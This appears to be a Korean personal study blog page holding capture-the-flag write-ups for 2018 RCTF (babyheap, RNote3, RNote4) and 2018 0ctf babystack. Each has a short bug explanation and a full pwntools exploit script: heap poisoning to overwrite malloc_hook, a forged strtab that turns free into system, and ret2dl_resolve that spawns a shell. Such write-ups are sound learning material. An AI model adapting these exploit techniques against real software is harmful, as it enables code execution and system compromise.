HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018 Rctf writeup

CTF2018. 5. 25. 20:29

1. babyheap (44 solved)

read를 입력받을 때 off_by_one 발생. 이걸로 Poison Null byte가 가능해진다. poison null byte로 컨트롤할 수 있는 fastbin 사이즈 청크를 만들고 그 청크가 위치한 주소에 small bin 사이즈 청크를 만들고 free 시켜서 leak이 가능하다. 그 다음 fastbin forge로 malloc_hook을 one_shot으로 덮는다.

FLAG: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
#p = process(['./babyheap'],env={'LD_PRELOAD':'./Babyheap.so'})
= remote('babyheap.2018.teamrois.cn',3154)
libc = ELF("./Babyheap.so")
def alloc(size,content):
        p.sendlineafter("choice: ","1")
        p.sendlineafter("size: ",str(size))
        p.sendlineafter("content: ",content)
 
def show(idx):
        p.sendlineafter("choice: ","2")
        p.sendlineafter("index: ",str(idx))
 
def delete(idx):
        p.sendlineafter("choice: ","3")
        p.sendlineafter("index: ",str(idx))
 
alloc(60,"A"*52+p64(0))
alloc(0x100,"B"*240+p64(0x100))
alloc(130,"C"*40)
 
delete(1)
delete(0)
 
alloc(72,"a"*64+p64(0))
delete(1)
alloc(0x80,"D"*8)
alloc(0x60,"E"*0x20)
 
delete(1)
delete(2)
 
alloc(0x80,"F"*0x50)
alloc(0xf0,"G"*0xf0)
alloc(0xa0,"H"*0x50)
 
delete(2)
show(3)
p.recvuntil("content: ")
leak = u64(p.recv(6)+"\x00\x00")
base = leak -0x3c4b78
malloc_hook = base+0x3c4b10
fake = malloc_hook-0x23
one = base+0x4526a
 
alloc(0xf0,"g"*0x50)
 
delete(1)
delete(3)
delete(4)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+"B"*0x60+p64(0)+p64(0x20cc1))
delete(1)
delete(2)
 
print "malloc_hook: " + hex(malloc_hook)
print "fake_add: " + hex(fake)
 
alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+p64(fake))
alloc(0x60,"j"*8)
alloc(0x60,"P"*0x13+p64(one))
 
p.sendlineafter("choice: ","1")
p.sendlineafter("size: ","1")
p.sendline("cat flag")
p.interactive()
 
cs


2. RNote3 (33 solved)

delete 함수에서 ptr을 초기화하지 않아서 가리키는 포인터를 이용하여 전역변수에 등록된 힙 포인터를 0으로 초기화 시키지 않을 수 있다. 그렇게 릭을 하고 똑같은 방식으로 fastbin 청크로 만들고 free된 청크 fd에 malloc hook주소를 넣고 fastbin forge 시켜서 malloc_hook을 one_shot으로 덮은 다음에 free에서 오류를 일으켜 malloc를 호출시키게 해서 풀었다.

FLAG: RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import*
= process(["./RNote3"],env = {'LD_PRELOAD':'./rnote.6'})
#p = remote('rnote3.2018.teamrois.cn',7322)
def add(title,size,content):
        p.sendline("1")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("size: ",str(size))
        p.sendafter("content: ",str(content))
def view(title):
        p.sendline("2")
        p.sendlineafter("title: ",str(title))
def edit(title,content):
        p.sendline("3")
        p.sendlineafter("title: ",str(title))
        p.sendlineafter("content: ",str(content))
def delete(title):
        p.sendline("4")
        p.sendlineafter("title: ",str(title))
print p.recvline()
add("A",0xf8,"A"*8+"\x0a")
add("A",0xf8,"A"*8+"\x0a")
delete("A")
delete("A")
add("A",0xf8,"A"*0x10+"\n")
delete("qwe")
view("\x00")
p.recvuntil("note content: ")
base = u64(p.recv(6)+"\x00\x00")-0x3c4b78
address = base+0x3c4aed
one = base+0xf02a4
print "base: " + hex(base)
print "Attack_add: " + hex(address)
print "one: " + hex(one)
add("A",0xf8,"A"*0x10+"\x0a")
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x68)
delete("AA")
delete("AA")
add("AA",0x68,"A"*0x68)
delete("qwe")
edit("\x00",p64(address))
add("AA",0x68,"A"*0x68)
add("AA",0x68,"A"*0x13+p64(one)+'\x0a')
delete(2)
p.interactive()
 
cs


3. RNote4 (24 solved)

취약점은 edit에서 원하는 사이즈 만큼 청크에 입력이 가능해서 포인터 부분을 조작할 수 있는 것이다. 이것을 이용해서 자신이 원하는 주소에 원하는 값을 넣는게 가능해진다. fake strtab을 만들고 원래 strtab을 가리키고 있던 포인터를 내가 만든 fake strtab으로 조작했다. free를 system으로 바꿨다. 그 전까지의 함수들은 사용하지 않기 때문에 다른 값으로 덮어도 상관없다. 그 뒤에 /bin/sh라는 문자열을 가진 청크를 하나 만들고 그 청크를 free 시켜서 풀었다.

FLAG: RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import*
= process("./RNote4")
#p = remote('rnote4.2018.teamrois.cn',6767)
strtab = 0x601eb0
def add(size,content):
        p.send(p8(1))
        p.send(p8(size))
        p.send(content)
 
def edit(idx,size,content):
 
        p.send(p8(2))
        p.send(p8(idx))
        p.send(p8(size))
        p.send(content)
 
def delete(idx):
        p.send(p8(3))
        p.send(p8(idx))
 
add(0x20,"A"*0x20)
add(0x20,"B"*0x20)
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(0x602100))
edit(1,0x65,"A"*0x5f+"system")
 
edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(strtab))
edit(1,0x8,p64(0x602100))
 
add(0x7,"/bin/sh")
delete(2)
p.interactive()
 
cs


 

'CTF' 카테고리의 다른 글

??CTF 2  (0) 2018.11.29
??CTF 1  (0) 2018.11.29
2018 0ctf babystack  (0) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03

2018 0ctf babystack

CTF2018. 5. 25. 18:56

오랜만에 라이트업 포스팅을 한다  ㅎㅎㅎㅎ

우선 보호기법을 체크하자.

IDA로 문제를 보면


이게 끝이다. PlaidCTF의 ropasaurusrex가 생각난다. ㅋㅋㅋ

여기서 BOF가 발생하는데 프로그램 안에서 puts 같은 출력함수를 사용하지 않아서 Leak이 불가능하고 입력받을 수 있는 버퍼의 크기가 0x40밖에 되지 않아서 ROP를 사용하기 힘들다.

그래서 return_to_dl_resolve 기법을 사용하여 풀었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import*
= process("./babystack")
elf = ELF("./babystack")
p3r = 0x080484e9
p1r = 0x080484eb
bss = 0x0804a020
leaveret = 0x080483a8
jmp_dl = 0x80482f0
strtab = 0x804822c
symtab = 0x80481cc
jmprel = 0x80482b0
binsh = 0x804a3b3
 
reloc = 0x1ed0+0xb0+0x50+0x100+0x4
elf32_rel = p32(elf.got["read"])+p32(0x21d07)
symtab = p32(0x1f70+0xb0+0x50+0x100+0x10)+p32(0)+p32(0)+p32(0x12)
 
payload = "A"*0x28
payload += "B"*4
payload += p32(elf.plt["read"])
payload += p32(0x0804843b#back to main
payload += p32(0)
payload += p32(bss+0x150+0xb0+0x50+0x100
payload += p32(80)
 
p.send(payload)
p.send(p32(jmp_dl)+p32(reloc)+p32(elf.plt["read"])+"AAAA"+p32(binsh)+elf32_rel+"A"*16+symtab+"system\x00"+"/bin/sh\x00")
 
payload2 = "a"*0x28
payload2 += p32(bss+0x150+0xb0+0x50+0x100-4)
payload2 += p32(leaveret)
 
p.send(payload2)
p.interactive()
 
cs

문제를 풀면서 주의해야 할 점은 전역변수에 구조체를 전부설정하고 전역변수 주소를 esp로 돌려야 하는데 그 과정을 fake_ebp를 이용해서 돌려줘야 한다.

또 전역변수에다가 바로 dl resolve를 시도하면 esp가 전역변수 주소라서 프로그램이 실행되면서 들어가는 값들이 전부 전역변수에 들어가게 된다. 그러다가 잘못되서 전역변수 전에 있는 함수 주소를 다른 값으로 덮어버릴 수도 있기 때문에 전역변수+500? 정도로 설정해준다. 

27번째 줄을 설명하자면 나중에 leave ret을 해주면서 esp가 전역변수 주소로 바뀌고 pop eip를 해주면서 mov eip esp가 진행되니 esp에 dl_resolve 주소를 넣어주면 나중에 dl_resolve를 실행시킬 것이다. 

reloc은 leave ret이 진행되면서 인자로 쓰일 fake reloc 오프셋이다. 

gdb를 봐가며 풀었는데 read 부터 binsh까지는 ROP 같은 느낌으로 진행되는 것 같다. 

나머지는 일반적인 ret2dl 기법과 동일하다.

문제를 풀면서 구조체는 다 짜놨는데 dl_resolve를 어떻게 실행할 지 몰라서 시간이 꽤 걸렸던 문제였다. 이제 re2dl 기법 문제들은 그만 풀어봐도 될 것 같다. 다른 거 해야지




'CTF' 카테고리의 다른 글

??CTF 1  (0) 2018.11.29
2018 Rctf writeup  (1) 2018.05.25
2015 Codegate final yocto  (0) 2018.05.09
2018_Asis_CTF Just Sort!  (0) 2018.05.03
2018_Asis_CTF Cat  (0) 2018.05.03

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인